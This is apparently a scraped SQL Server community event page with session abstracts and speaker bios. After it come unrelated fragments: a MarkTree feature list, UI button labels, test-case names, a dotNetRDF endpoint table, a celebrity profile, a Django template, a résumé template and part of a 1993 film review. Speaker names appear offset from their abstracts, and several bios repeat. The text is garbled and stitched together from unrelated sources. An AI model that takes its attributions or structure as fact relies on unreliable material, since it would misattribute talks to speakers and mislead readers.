Speaker(s): Meredith Ryan-Smith,
Abstract:
In this session I will show you how I used the Entity Framework Services to design and create an API servicing layer to expose back end data to partners. We will dive into using the Entity Framework (data layer), WCF Data Services (service layer), T4 templates (business entities), WCF Message Inspectors (security) and more.
Speaker(s): David McCarter,
Abstract:
Join two Certified Masters as they discuss the Certified Masters and Certified Architect certifications for SQL Server. There will be a mixture of material to present and questions from attendees. Bring all of your questions!
Speaker(s): Robert Davis,
Abstract:
You will learn... What is SQL Server AlwaysOn/HardON What is AlwaysOn Availability Group WSFC changes for AlwaysOn FCI AlwaysON VS Clustering/Mirroring/Log Shipping Availability Group with WSFC Availability Group/ Virtual Name Failover Readable Multiple Secondary AlwaysOn implementation Demo (Availability Group/Virtual Name Failover/Readable Secondary)
Speaker(s): Prakash Heda,
Abstract:
Technical debt is the cost of putting off good development practices. This debt must be paid back to avoid the “interest payments” becoming crippling. This presentation will focus on a number of common developer (and project) anti-patterns that can lead to the buildup of technical debt in a project and, having identified these behaviors, we’ll look at techniques to firstly quantify and then to mitigate against them.
Speaker(s): Woody Pewitt,
Abstract:
Understanding Transactions Transactions are essential to maintaining data integrity. Getting transactions right means understanding both how they work and the business rules that govern your data. This session will explain the fundamentals of transactions and how they behave in SQL Server. It will delve into ACID properties, isolation levels and nested transactions. The session will also review how to structure transactions to satisfy business rules and ensure efficient performance.
Speaker(s): Denise McInerney,
Abstract:
These are SQL tips for the YouTube generation. I have 20 SQL Server performance tuning and developer tips. They have little to do with each other, and we'll spend about five minutes on each. Think of this as 20 different, five minute presentations.
Speaker(s): Ike Ellis,
Abstract:
Address data is one of the most common type of contact information found in databases. In this session, we will examine some underlying factors that affect address correctness and build the business case for having good address data. We will touch on how having correct addresses affects all aspects of data quality from matching to enrichment. Handling data is one thing, but knowing your data and understanding the risks are the first step to managing good quality data. Come hear about what you don’t know on Address and Data Quality – it might be costing you.
Speaker(s): Joseph Verftido,
Abstract:
Demos! See the tools you can use to explore, setup, migrate and maintain a cloud RDMS (SQL Azure). Includes free tools, such as SQL Server Migration Tools; DBA tools, such as SQL Server Management Studio; Developer tools, such as Visual Studio and SQL Server Developer Tools ("Juneau") and more.
Speaker(s): Lynn Langit,
Abstract:
This session was inspired by Brian Knight’s excellent book “Microsoft Business Intelligence 24-Hour Trainer” – with an agile notion to summarize each hour of it in two minutes.
Speaker(s): Ben Aminnia,
Abstract:
Conversations about SQL Server administration tends to be all about administering OLTP systems. If you administrate BI systems, you can't apply everything you know about administering OLTP systems to BI systems. BI systems usually end up being administered by OLTP DBAs or by BI developers and architects. Where does one even find a BI Administrator? Fortunately, I've been administering BI systems for several years, and I have learned the hard way the difference between administering OLTP and BI systems. This session will cover the top 10 things that I think an administrator of BI systems need to know.
Speaker(s): Robert Davis,
Abstract:
Learn how I find high cost queries using the SQL Server 2008 tools. DMV's are great for finding a lot of problems fast. But, sometimes you still need Profiler. I will discuss cases where the DMV's are all you need. I will also discuss how to get information from Profiler that is missing from the DMV data. Extended Events are powerful and will be a major tool in the future of troubleshooting. I will explain why we need Extended Events to solve problems in addition to DMV's and Profiler.
Speaker(s): Chris Dickey,
Abstract:
Did you know that when SQL encounters an error of Severity 11 (or higher), there a 4 different ways it can react? Learn how to predict the Error Action or control it. This is possible with or without structured error handling. See both ways to control the outcome. This is a very common workplace faux pas and a Microsoft Certification topic for Dev and Admins. We will use lessons from SQL Programming Joes 2 Pros Vol4.
Speaker(s): Rick Morelan,
Abstract:
Forget Profiler for a second, I have seen one poorly placed index bring an enterprise database to its knees. We will cover the basic tips of performance which always work and the ones which always fail. What can you do – and what should you do –when it comes to the most common types of indexes so you always make the right move. We will use lessons from SQL Architecture Joes 2 Pros Vol3.
Speaker(s): Rick Morelan,
Abstract:
If you work with very large databases (VLDBs) that must be replicated, you should be using initialization from backup. There are a some misconceptions the have caused DBAs to assume that they could not use initialization from backup. In this session I will explore those misconceptions and prove that they are incorrect. Demos will include initializing a subscriber from a transaction log backup and performing a partial restore of a database and initializing the subscriber from the partial backup.
Speaker(s): Robert Davis,
Abstract:
Parameter sniffing is a good thing: it is used by the Query Optimizer to produce an execution plan tailored to the current parameters of a query. However, due to the way that the plan cache stores these plans in memory, sometimes can also be a performance problem. This session will show you how parameter sniffing works and in which cases could be a problem. How to diagnose and troubleshoot parameter sniffing problems and their solutions will be discussed as well. The session will also include details on how the Query Optimizer uses the histogram and density components of the statistics object and some other advanced topics.
Speaker(s): Benjamin Nevarez,
Abstract:
The SQL Server Query Optimizer is a cost-based optimizer: it analyzes a number of candidate execution plans for a given query, estimates the cost of each of these plans, and selects the plan with the lowest cost. In this session I will go into the internals of the Query Optimizer and will show you the steps that it performs in the background covering everything from the time a query is submitted to SQL Server until an execution plan is generated. Why query optimization is an inherently complex problem and why challenges in some of its most fundamental areas are still being addressed today will be covered as well.
Speaker(s): Benjamin Nevarez,
Abstract:
In this session we will cover the basics and delve into the advanced techniques which can be used to cluster Windows servers using the Windows Cluster Service, what sort of protection this provides you, and how to properly set up your clusters for a rock solid environment which will last you for many years to come. We will start with planning our cluster configuration, selecting our software, and walk through the process of clustering two servers together into an active passive cluster. We will cover the differences between a standalone machine and clusters with regard to licensing and multiple instance configurations.
Speaker(s): Denny Cherry,
Abstract:
I'll share my project experience implementing Fast Track data warehouse. This session will cover- Fast Track Architecture Overview- Considerations in selecting Fast Track- Why is Fast track a "recipe" based approach? - Key principles of Fast Track architecture
Speaker(s): Lakshmi Randall,
Abstract:
“Ask the experts” will be an interactive QA session where you can ask veterans anything SQL related. The following experts will answer your questions: - Andrew Karcher - Ben Aminnia - Benjamin Nevarez - Bret Stateham - Denise McInerney - Denny Cherry - Ike Ellis - Lynn Langit
Speaker(s): Thomas Mueller,
Abstract:
Lots of devices can give positions and instead of just storing those in a Latitude and Longitude fields in your database you could be using the Geography data type that SQL Server provides. You can even store more complex shapes like zip code boundaries. We will learn how to fill these, how to work with them, how to index these with spatial indexes and how to use the spatial indexes effectively.
Speaker(s): Paul Mendoza,
Abstract:
SQL Server Analysis Services (SSAS) began life as OLAP Services in SQL Server 7, over a decade ago. Since then there have been major architectural enhancements and SSAS now plays a central role in Micorosoft's Business Intelligence (BI) platform. This session will describe major SSAS functionality, with demos to illustrate key features. We'll also examine the new SSAS features in SQL Server 2008 R2 and preview the SSAS Business Intelligence Semantic Model (BISM) being introduced in "Denali", the next version of SQL Server.
Speaker(s): Deepak Puri,
Abstract:
When talking to Sql Azure there are some best practices you are supposed to follow. Things like batching and retrying on connection failure. There are well documented ways to do this using ADO.NET. However more and more applications are being written using Entity Framework rather than ADO.NET. If we are using Entity Framework how do we follow those best practices?
Speaker(s): Scott Reed,
Abstract:
In this session we'll dig into the internal structors of indexes. We will explore the differences between clustered and non-clustered indexes, what's layed out within each page of the indexes and how the SQL Server uses the data within the indexes to find rows quickly.
Speaker(s): Denny Cherry,
Abstract:
Many of our customers are either virtualizing databases or planning to do so soon. I hear from many groups that attempted running their database on VMware but went back to physical hardware because of performance issues. There are many reasons this may have happened, but quite often the decision to go back to physical was not based on hard facts. This presentation will explore the fundamentals of monitoring databases running in a VMware environment. If you are using classic O/S monitoring tools, you may be getting misleading data. Understand what metrics are important and how to get to that data.
Speaker(s): Kathy Gibbs,
Abstract:
In this session we will be looking at the best and worse practices for indexing tables within your SQL Server 2008 databases. We will also be looking into the new indexing features that are available in SQL Server 2008 (and SQL Server 2005) and how you the .NET developer can make the best use of them to get your code running its best.
Speaker(s): Denny Cherry,
Abstract:
Introduction to Agile
Speaker(s): Llewellyn Falco,
Abstract:
Learn how easy it is to utilize the free download from Microsoft that allows users to create charts, dashboard objects and reports against any kind of data easily without having to use Visual Studio.
Speaker(s): David Eichner,
Abstract:
These are SQL tips for the YouTube generation. I have 20 SQL Server performance tuning and developer tips. They have little to do with each other, and we'll spend about five minutes on each. Think of this as 20 different, five minute presentations.
Speaker(s): Ike Ellis,
Abstract:
Project Apollo introduces Columnstore index in Denali. Columnstore index can potentially improve data warehouse query performance on large fact tables (star joins and aggregation) by creating a highly compressed architecture. It utilizes the same vertipaq algorithm used by Powerpivot. Only the data for the columns selected in the query is brought into memory. Columnstore index is recommended primarily for read-only workloads.The demo will include scenarios which will benefit from using columnstore index and will highlight best practices for using columnstore index.
Speaker(s): Lakshmi Randall,
Abstract:
In this session we will cover new features of SSIS in Denali in three main areas: the development experience, the deployment experience and the maintenance experience. We will show the results of migrating an existing 2008 SSIS solution that uses package configurations, parent/child package execution and custom logging to Denali. I will compare the new tools to 2008 and will also throw in useful tidbits of SSIS knowledge that I have. If you develop, deploy or maintain SSIS packages then you will take away something positive from the presentation
Speaker(s): Creighton Kagey,
Abstract:
Are you just getting into Business Intelligence? Are you a SQL Developer or a DBA that wants to learn more about the skills required to be a BI Professional? If you answered yes to one of those questions, then this is the session for you. This session will take you through the whole Microsoft stack and talk about some of the key areas of knowledge that are needed to call yourself a BI professional at either a beginner, intermediate or advanced level. We will also talk about the various Microsoft Certifications and where they fit. I guarantee you will leave this session with some to-dos and knowledge that you will want to brush up on.
Speaker(s): Andrew Karcher,
This is a list of speakers from the XML Guidebook records. The details and URLs were valid at the time of the event.
Contact: http://ellisteam.blogspot.com
Ike Ellis is a Senior Data Architect and partner for Crafting Bytes. He has designed and implemented data solutions for many well-known organizations. He has been a Microsoft Data Platform MVP since 2011. He co-authored the book "Developing Azure Solutions," now in its second edition. He is a popular speaker at SQLBits, PASS Summit, and SQL in the City. He speaks at user groups, code camps, and SQLSaturdays. He has written courses on SQL Server for developers, Power BI, SSRS, SSIS, and SSAS for Wintellect. He has an upcoming course on CosmosDB. He founded the San Diego Tech Immersion Group, a technical book club based in San Diego and is the co-chair of the San Diego Software Architecture Group.
LinkedIn: http://www.linkedin.com/in/robertldavis/
Contact: http://www.sqlsoldier.com
Robert is a SQL Server Certified Master, MVP, and has spent 17+ years honing his skills in security, performance tuning, SQL development, high availability, and disaster recovery. He served as PM for the SQL Server Certified Master Program at Microsoft Learning, and in various roles at Microsoft specializing in SQL Server administration, development, and architecture. He currently works as a Database Engineer at BlueMountain Capital Management where he spends a vast majority of his time tuning massively parallel queries. Robert feeds his passion for security by acting as co-leader of the PASS Security Virtual Chapter.
Contact: http://blogs.msdn.com/SoCalDevGal
Lynn is a Sr. Developer Evangelist. She has been working with SQL Server since 6.5. Prior to joining Microsoft, she did production work with SQL Server, Analysis Services and more. Her blog is http://blogs.msdn.com/SoCalDevGal
Ben Bolte began his career developing and administering SQL Server in 1997. Over the last 14 years, he been involved primarily in developing and administering internal SQL Server-based applications, ranging from retail product management to direct marketing tracking systems. Currently, Ben is a Senior Business Intelligence Analyst for Stamps.com. He holds a MCDBA certification.
I have been working with SQL Server versions 6.5, 7.0, 2000, 2005, 2008 for the past 12 years developing data warehouses and ETL processes for a myriad of applications. I currently manage of team of 12 database engineers at CareFusion where we develop data warehouses for external facing dashboarding solutions.
Contact: http://dotnettips.com
David McCarter is a Microsoft MVP and a principal software engineer/architect in San Diego. He is the editor-in-chief of dotNetTips.com... a web site dedicated to helping programmers in all aspects of programming. David has written for programming magazines and has published three books (the latest is quot;David McCarter#39;s .NET Coding Standardsquot;). He is one of the founders and directors of the 20 year old San Diego .NET Developers Group (www.sddotnetdg.org)
Contact: http://www.benjaminnevarez.com/
Benjamin Nevarez is a SQL Server independent consultant based in Los Angeles, California, who specializes in SQL Server query tuning and optimization. He is the author of “SQL Server 2014 Query Tuning amp; Optimization” and “Inside the SQL Server Query Optimizer” and co-author of “SQL Server 2012 Internals.quot; Benjamin has also been a speaker at many SQL Server conferences, including PASS Summit, SQL Server Connections, and SQLBits. His blog can be found at http://www.benjaminnevarez.com.
Rick has worked more than 12 years at Microsoft and has attained over 30 Microsoft technical including certifications in applications, networking, databases and .NET development (MCDBA, MCTS, MCITP, MCAD, MOE, MCSE, MCSE+I). He has also provided training for NW University, Volt Technical Education, The DigiGirlz, and Microsoft. Rick is the Author of the 5 volume SQL Joes 2 Pros book series.
Contact: http://meredithryansmith.wordpress.com
Meredith is the database administrator for The Bell Group. With more than 10 years of experience in IT, Meredith’s responsibilities have included everything from manning the Help Desk to VAX/VMS cluster administration. Most recently she has served as the production database administrator specializing in cluster administration and performance. Meredith has attended seven PASS Summits, and had volunteered with the WIT Virtual Chapter since early 2009. Most recently Meredith became the chapter leader for the Women In Technology Virtual Chapter, and has kept busy speaking at SQLSaturday events in the western half of the US.
Contact: http://www.FastSqlServer.com
Chris has worked for over 12 years as an independent consultant solving SQL Server performance problems. He started working with SQL Server in 1989. After all those years, he is still finding better ways to solve performance problems faster. There might be new surprises popping up during the next consulting job. It is best to be prepared. So, Chris just finished attending 5 days of advanced SQL Server performance training taught by the people at SQLSkills. Chris is a graduate of UCSD
Rajmund's brain always molds and adapts all ideas/concepts that he encounters into new inventions/approaches. Had never written same line of code twice. Worked on creating million dollar technologies instantly adopted and reused across entire company and product line. Had experience with real time market data and trading client as well as government and banking. Enjoys a unique capability of seeing things what others can't really see such as adopting new technologies in solving problems in IT.
Matt Hollingsworth has spent over twenty years in various roles in the database industry and is currently a Microsoft data platform architect covering the Microsoft South West district including Hawaii. Prior to his current role Matt spent over ten years in the Microsoft SQL Server development team in Redmond as a Program Manager for Always On, Replication, Log Shipping, Mirroring and the annual Oracle competitive review. Matt got married a week ago, so go easy on him.
Contact: http://ellisteam.blogspot.com
Ike Ellis is a Senior Data Architect and partner for Crafting Bytes. He has designed and implemented data solutions for many well-known organizations. He has been a Microsoft Data Platform MVP since 2011. He co-authored the book "Developing Azure Solutions," now in its second edition. He is a popular speaker at SQLBits, PASS Summit, and SQL in the City. He speaks at user groups, code camps, and SQLSaturdays. He has written courses on SQL Server for developers, Power BI, SSRS, SSIS, and SSAS for Wintellect. He has an upcoming course on CosmosDB. He founded the San Diego Tech Immersion Group, a technical book club based in San Diego and is the co-chair of the San Diego Software Architecture Group.
LinkedIn: http://www.linkedin.com/in/robertldavis/
Contact: http://www.sqlsoldier.com
Robert is a SQL Server Certified Master, MVP, and has spent 17+ years honing his skills in security, performance tuning, SQL development, high availability, and disaster recovery. He served as PM for the SQL Server Certified Master Program at Microsoft Learning, and in various roles at Microsoft specializing in SQL Server administration, development, and architecture. He currently works as a Database Engineer at BlueMountain Capital Management where he spends a vast majority of his time tuning massively parallel queries. Robert feeds his passion for security by acting as co-leader of the PASS Security Virtual Chapter.
Contact: http://www.tmspecial.com
Thomas Mueller has been working with databases for almost 15 years. He is the Implementation/Database Administration Manager at HMS, a healthcare company in Santa Ana. Thomas got his BS in Digital Media Computer Science in 1999 and received his MS in Information Systems from Claremont Graduate University in 2004. In addition to databases, his interests include data mining, knowledge management and LEGO®.
Contact: http://www.benjaminnevarez.com/
Benjamin Nevarez is a SQL Server independent consultant based in Los Angeles, California, who specializes in SQL Server query tuning and optimization. He is the author of “SQL Server 2014 Query Tuning amp; Optimization” and “Inside the SQL Server Query Optimizer” and co-author of “SQL Server 2012 Internals.quot; Benjamin has also been a speaker at many SQL Server conferences, including PASS Summit, SQL Server Connections, and SQLBits. His blog can be found at http://www.benjaminnevarez.com.
Lakshmi Randall of La Jolla Data Corp has 13 years experience in database design, development, tuning, and administration including a focus on building and supporting data warehouse and data mart initiatives during the past 6 years.
LinkedIn: https://www.linkedin.com/in/denisemcinerney/
Contact: http://weblogs.sqlteam.com/denisem/default.aspx
Denise McInerney is a data professional with over 20 years of experience. She began her career as a database administrator and has worked as a data analyst and data engineer. She now works as a data architect at Intuit, where she designs and implements analytics solutions with a focus on enabling the work of analysts, data scientists, and business users. Denise is active in technical community organizations and has spoken at user groups and conferences over two dozen times. She served on the PASS Board of Directors for six years.
Lakshmi Randall is Enterprise Data Warehouse Engineer at Mitchell International and President of La Jolla Data Corp. She has 13 years experience in SQL Server database design, development, tuning, and administration including a focus on building and supporting data warehouse and data mart iniatives during the past 6 years. She is PMP (Project Management Institute) and MCITP 2008 certified. Industry expertise includes Mortgage, Healthcare Staffing, Pharmaceutical, e-commerce, Toll Collection Retail, Medical, and Auto Claims. Recent experience includes partnering with HP to build FastTrack architecture proof-of-concept on 3 PAR storage, and introducing PowerPivot for Excel and SharePoint to a Medical and Auto Claims product development corporation.
Contact: http://www.andrewkarcher.com
Andrew is a Data Professional that is super passionate about the ability of data to drive change in our world, work, and personal lives. He has over 15 years of experience across multiple roles, companies and technologies. A passion for learning is core to how I approach life. Over 10+ years I have spoken at User Groups, Code Camps, SQLSaturdays and Conferences along with supporting my local community as a SQLSaturday Organizer, User Group leader, and advocate for community involvement for all technology professionals. I was also recognized by Microsoft as a four-time SQL Server MVP for my technical community contributions.
Contact: http://blog.bradcunningham.net
bio
Rick has worked more than 12 years at Microsoft and has attained over 30 Microsoft technical including certifications in applications, networking, databases and .NET development (MCDBA, MCTS, MCITP, MCAD, MOE, MCSE, MCSE+I). He has also provided training for NW University, Volt Technical Education, The DigiGirlz, and Microsoft. Rick is the Author of the 5 volume SQL Joes 2 Pros book series.
Contact: http://meredithryansmith.wordpress.com
Meredith is the database administrator for The Bell Group. With more than 10 years of experience in IT, Meredith’s responsibilities have included everything from manning the Help Desk to VAX/VMS cluster administration. Most recently she has served as the production database administrator specializing in cluster administration and performance. Meredith has attended seven PASS Summits, and had volunteered with the WIT Virtual Chapter since early 2009. Most recently Meredith became the chapter leader for the Women In Technology Virtual Chapter, and has kept busy speaking at SQLSaturday events in the western half of the US.
Contact: http://blog.pewitt.org
Woody Pewitt is the Director of Software Development at King Schools where he is responsible for all software development and maintenance at King Schools the world´s leading producer of aviation training. Prior to joining King Schools, Woody was an Evangelist at Microsoft in Southern California, driving the awareness and advocating Microsoft development technologies. He is an experienced developer, teacher/trainer and is a part-time instructor at University of California San Diego.
LinkedIn: http://www.linkedin.com/company/melissa-data
Contact: http://blog.melissadata.com/data-quality-authority/
A Data Quality Analyst at Melissa Data, Joseph has worked with numerous clients in understanding their business needs for data quality, analyzing their architecture and environment, and recommending strategic solutions to successfully integrate data quality within their infrastructure. He gives frequent webinars for implementing different techniques for data quality and also manages the MVP Program – a network that provides resources to community leaders, speakers, consultants and other experts.
LinkedIn: https://www.linkedin.com/in/philhelmer
Contact: http://www.philhelmer.com
Phil has been designing and building relational databases in a variety of industries ever since he first realized how many people don't understand the limitations of Excel and sticky notes as databases. When he was a poor college student, that meant teaching himself MS Access. After moving to SQL Server 13 years ago, he found out about the PASS community and never looked back. He now spends his days developing databases using T-SQL, exploring data management tools techniques and trying to make sense of Microsoft's marketing.
LinkedIn: http://www.linkedin.com/pub/prakash-heda/8/a60/b77
Contact: http://www.sqlfeatures.com/
Prakash Heda works as Manager (Data-IT) at SSC Advent. His expertise encompasses the work of automation, performance tuning/troubleshooting, high availability, san configuration and windows administration. Heda has 13+ years of experience managing enterprise-wide data needs in both high volume transactional and data warehouse environments. Heda holds certifications for MCDBA and MCITP. His background includes administration development using VB/ASP/SSIS with SQL server 2000 to 2017. He is an active member of PASS, SQLSaturday, and as well a frequent presenter at user groups, SQLSaturdays, and other community events. He is also an avid tweeter, blogger and runner.
LinkedIn: https://www.linkedin.com/in/denisemcinerney/
Contact: http://weblogs.sqlteam.com/denisem/default.aspx
Denise McInerney is a data professional with over 20 years of experience. She began her career as a database administrator and has worked as a data analyst and data engineer. She now works as a data architect at Intuit, where she designs and implements analytics solutions with a focus on enabling the work of analysts, data scientists, and business users. Denise is active in technical community organizations and has spoken at user groups and conferences over two dozen times. She served on the PASS Board of Directors for six years.
LinkedIn: http://www.linkedin.com/pub/kathy-gibbs/a/6a8/680/
Kathy has over 19 years of IT work experience and over 13 years of DBA experience including architecting, design, development, implementation, monitoring, and disaster recovery of databases. Before starting with Confio, Kathy worked in the financial, retail, and telecom industries working with critical OLTP and OLAP databases. Kathy excels in being a liaison between technical and the end-users or management teams to provide solutions
LinkedIn: https://www.linkedin.com/in/mrdenny
Contact: https://www.dcac.com
Denny Cherry is the owner and principal consultant for Denny Cherry Associates Consulting and has over a decade of experience working with platforms such as Microsoft Azure, Amazon AWS, Microsoft SQL Server, Hyper-V, vSphere, and Enterprise Storage solutions. Denny’s areas of technical expertise include system architecture, performance tuning, security, replication, and troubleshooting. Denny currently holds several Microsoft Certifications related to SQL Server 2000 through 2019, including being a Microsoft Certified Master, Microsoft MVP and VMware vExpert Award.
Matt Hollingsworth has spent over twenty years in various roles in the database industry and is currently a Microsoft data platform architect covering the Microsoft South West district including Hawaii. Prior to his current role Matt spent over ten years in the Microsoft SQL Server development team in Redmond as a Program Manager for Always On, Replication, Log Shipping, Mirroring and the annual Oracle competitive review. Matt got married a week ago, so go easy on him.
Contact: http://www.brainhzconsulting.com
Scott's career in software began in 1993 at IBM. Along the way he developed enterprise solutions for both Microsoft and Cardinal Health. He currently is an independent consultant, as well as a DevelopMentor instructor.
Llewellyn Falco
LinkedIn: https://www.linkedin.com/in/mrdenny
Contact: https://www.dcac.com
Denny Cherry is the owner and principal consultant for Denny Cherry Associates Consulting and has over a decade of experience working with platforms such as Microsoft Azure, Amazon AWS, Microsoft SQL Server, Hyper-V, vSphere, and Enterprise Storage solutions. Denny’s areas of technical expertise include system architecture, performance tuning, security, replication, and troubleshooting. Denny currently holds several Microsoft Certifications related to SQL Server 2000 through 2019, including being a Microsoft Certified Master, Microsoft MVP and VMware vExpert Award.
LinkedIn: https://www.linkedin.com/in/mrdenny
Contact: https://www.dcac.com
Denny Cherry is the owner and principal consultant for Denny Cherry Associates Consulting and has over a decade of experience working with platforms such as Microsoft Azure, Amazon AWS, Microsoft SQL Server, Hyper-V, vSphere, and Enterprise Storage solutions. Denny’s areas of technical expertise include system architecture, performance tuning, security, replication, and troubleshooting. Denny currently holds several Microsoft Certifications related to SQL Server 2000 through 2019, including being a Microsoft Certified Master, Microsoft MVP and VMware vExpert Award.
Contact: http://www.pauldmendoza.com
Paul Mendoza is a software engineer working in the utility data analysis space building tools for finding energy theft and billing problems. He works with SQL Server, ASP.NET, C#, and VB.NET.
LinkedIn: http://www.linkedin.com/in/robertldavis/
Contact: http://www.sqlsoldier.com
Robert is a SQL Server Certified Master, MVP, and has spent 17+ years honing his skills in security, performance tuning, SQL development, high availability, and disaster recovery. He served as PM for the SQL Server Certified Master Program at Microsoft Learning, and in various roles at Microsoft specializing in SQL Server administration, development, and architecture. He currently works as a Database Engineer at BlueMountain Capital Management where he spends a vast majority of his time tuning massively parallel queries. Robert feeds his passion for security by acting as co-leader of the PASS Security Virtual Chapter.
Deepak is a SQL Server MVP and a Business Intelligence Consultant who has been working with SQL Server Analysis Services since 2000. He's an active contributor to the MSDN Analysis Services Forum and a regular presenter at Ohio North SQL Server User Group meetings.
Contact: http://rdpstreamline.com/category/rdp-streamline-blog/
Principal BI consultant of RDP Streamline Solutions delivering BI solutions with SQL Server, SharePoint, and ASP.NET throughout Northern California. Prior to consulting, I worked 10 years as a Project Engineer doing design, manufacturing, and quality for defense and industrial controls companies. After fixing some PM reports, I quickly found my passion in BI and was promoted to BI Architect and DBA. As a consultant, I enjoy networking with other BI devs and learning about new company processes.
LinkedIn: http://www.linkedin.com/in/icansoftware
David Eichner is a licensed CPA and is also CEO of ICAN Software Corporation, a Microsoft Dynamics amp; Acumatica ERP partner firm that sell and implements ERP and CRM software, develops software solutions and provides technology consulting. He is the host of a radio show called Business In The Cloud that airs weekly on KLAY 1180AM. He is skilled in building integrated cloud app solutions. His career spans more than 20 years in various technical/managerial positions within industries as diverse as military service, engineering/construction, municipal government, consulting and certified public accounting. Additionally, he holds various national certificates in technology (MCDBA, MCSE, CNE, CITP, Dynamics CRM and ERP, Acumatica CRM and ERP)
Contact: http://www.pointercorp.com
Ben Aminnia is a database architect / .NET developer / consultant at Pointer Corporation with over 25 years of experience in developing database systems and managing a team of SQL Server developers and DBAs. He's also the architect of Virtual Information Portal (VIP) System and the past-president of Los Angeles SQL Server Professionals Group.
Contact: http://dotnettips.com
David McCarter is a Microsoft MVP and a principal software engineer/architect in San Diego. He is the editor-in-chief of dotNetTips.com... a web site dedicated to helping programmers in all aspects of programming. David has written for programming magazines and has published three books (the latest is quot;David McCarter#39;s .NET Coding Standardsquot;). He is one of the founders and directors of the 20 year old San Diego .NET Developers Group (www.sddotnetdg.org)
LinkedIn: https://www.linkedin.com/in/peterkral
Peter Kral is a Premier Field Engineer (Data AI) at Microsoft. He holds SQL Server MCSA 2012/2014/2016 and Data Platform MCSE certifications, and was the winner of the Speaker Idol Award at PASS Summit 2016. Peter lives in the San Diego area where he is an active member of the local PASS chapter. He has spoken at many SQLSaturdays, SoCal Code Camps, and at PASS Summit 2017 and 2018.
The following is a list of sponsors that helped fund the event.


Anonymous nodes are cut off unless they are leaf nodes.
Supports Freemind Icons since version 0.2
Fast and intuitive MarkTree-style keyboard and/or mouse navigation with highlighted focus
Browse with arrows or numpad keys / * - +
You can fold nodes by clicking the general empy area of the intended node (no need to click tree symbols, although they work also)
Renders valid XHTML 1.1, provided user-entered data is valid...
MarkTree is tested with Mozilla 1.4, Opera 7.0 and Internet Explorer 5.0 or later versions. Might work also with other browsers/versions.
Installation package includes:
XHTML 1.1 XSL and CSS style files
Minimal XSL Transformer utility using Java 1.4 (you could also use any XSLT processor, like Xalan or Xerces. Works also in XSLT-enabled browsers, like Mozilla or Internet Explorer)
Windows batch files for converting a single file or entire directory of mm files
MarkTree JavaScript code and default tree pictures


File Uploads
Back
check console for logs
Upload Memory
Upload Single (+ body JSON)
Upload Multiple
Upload Google
Enable Cors Google
Read Google
Delete Google
Clear Inputs


| com.romanceabroad.ui.PrettyWomenTests.testSearchButtonTestCase3 |
| com.romanceabroad.ui.PrettyWomenTests.testThirdPageTestCase4 |
| com.romanceabroad.ui.PrettyWomenTests.searchDifferentResults |
| com.romanceabroad.ui.PrettyWomenTests.testPrettyWomenLink |
| com.romanceabroad.ui.PrettyWomenTests.testUserProfile |
| com.romanceabroad.ui.PrettyWomenTests.testFooter |


This web application provides endpoints which demonstrate a variety of dotNetRDF's ASP.Net integration features:
| Endpoint URL | Feature |
|---|---|
| /demos/leviathan/ | A SPARQL 1.1 compliant query endpoint based on the dotNetRDF Leviathan engine with full text indexing extensions and load on demand from the web enabled |
| /demos/server/ | A SPARQL 1.1 compliant server, provides query endpoint at /demos/server/query, an update endpoint at /demos/server/update and treats all other requests in it's URL space as SPARQL graph store protocol requests. |
| /demos/books/ | Demonstrates a SPARQL 1.1 query endpoint which forwards queries to another remote endpoint, in this case the books endpoint at sparql.org |
| /demos/sampleConfig | A Graph endpoint that returns a RDF graph in an appropriate format based on the clients Accept header, this particular graph is actually the graph that specifies the configuration for these demos. |


PHARRELL WILLIAMS
- Happy
Home
Profile
Friends
Friends and Family
Rihanna
Fiancee
Mariah Carey
Best friend
Jennifer Lopez
Close friend


{% extends 'base_panel.html' %} {% block title %}Update Your Subscription{% endblock title %} {% block panel_content %}
{{ form.zip_code.errors.as_text|cut:"* " }}
Use this form to change the location of your daily forecast.


TWITTER HANDLE
TELEPHONE
LINKEDIN URL
YN
OBJECTIVE
To get started, click
placeholder text and start
typing. Be brief: one or two
sentences.
Double-click the table cells in
the footer to add your contact
info (or delete the columns
you don’t want).
SKILLS
Explain what you’re
especially good at. What sets
you apart? Use your own
language—not jargon.
YOUR NAME
PROFESSION OR INDUSTRY | LINK TO OTHER ONLINE
PROPERTIES: PORTFOLIO/WEBSITE/BLOG
EXPERIENCE
JOB TITLE • COMPANY • DATES FROM – TO
Summarize your key responsibilities, leadership, and most stellar
accomplishments. Don’t list everything; keep it relevant and
include data that shows the impact you made.
JOB TITLE • COMPANY • DATES FROM – TO
Think about the size of the team you led, the number of projects
you balanced, or the number of articles you wrote.
EDUCATION
DEGREE • DATE EARNED • SCHOOL
You might want to include your GPA and a summary of relevant
coursework, awards, and honors.
DEGREE • DATE EARNED • SCHOOL
On the Home tab of the ribbon, check out Styles to apply the
formatting you need with just a click.
VOLUNTEER EXPERIENCE OR LEADERSHIP
Did you manage a team for your club, lead a project for your
favorite charity, or edit your school newspaper? Go ahead and
describe experiences that illustrate your leadership abilities.


AND THE BAND PLAYED ON A film review by Mark R. Leeper Copyright 1993 Mark R. Leeper
Capsule review: HBO gives us the most important film of the year and also one of the most compelling. This is a detective story, a story of politics and sex, and has a terrific script and some very moving performances. It is unlikely you will find a more intelligent film this year. Rating: +3 (-4 to +4)
When Stanley Kramer made JUDGMENT AT NUREMBERG, he reportedly had only a modest budget. And yet the film had a cast that can best be described as "star-studded." Actors who usually got high billing were willing to take tiny roles and were willing to be paid very modest salaries because the film had a political message. It told the story of the trial of the Nazis who had committed crimes against humanity in the Holocaust and telling that story was so important that actors put aside self-interest to be part of the project. In AND THE BAND PLAYED ON you see a lot of well-known actors in very tiny roles. And films made for HBO generally do not have huge budgets. This film has itself become something of an event and actors want to be part of the statement it makes regardless of what they can be paid and what billing they can be given.
AND THE BAND PLAYED ON would be an enthralling film even if it were pure fiction, which unfortunately it is not. It is the story of AIDS from 1976 before the first real breakout and continuing the story for about the next decade. It is the story of a disaster; it is the story of politics; it is a detective story; it is a story about prejudice; it is about courage and heroism and vanity; it's a horror story. The cliche is that it would make a great Hollywood film, but in reality Hollywood is making no more films like JUDGMENT AT NUREMBERG and it takes someone like HBO with its captive audience to make a film like this. (Incidentally, HBO made last year's DEAD AHEAD, which has some resemblance to this film. DEAD AHEAD was not nearly as solid a film as AND THE BAND PLAYED ON and I considered it one of the ten best films I saw last year. This would have to be one classic year for movies for AND THE BAND PLAYED ON not to make this year's top ten list.)
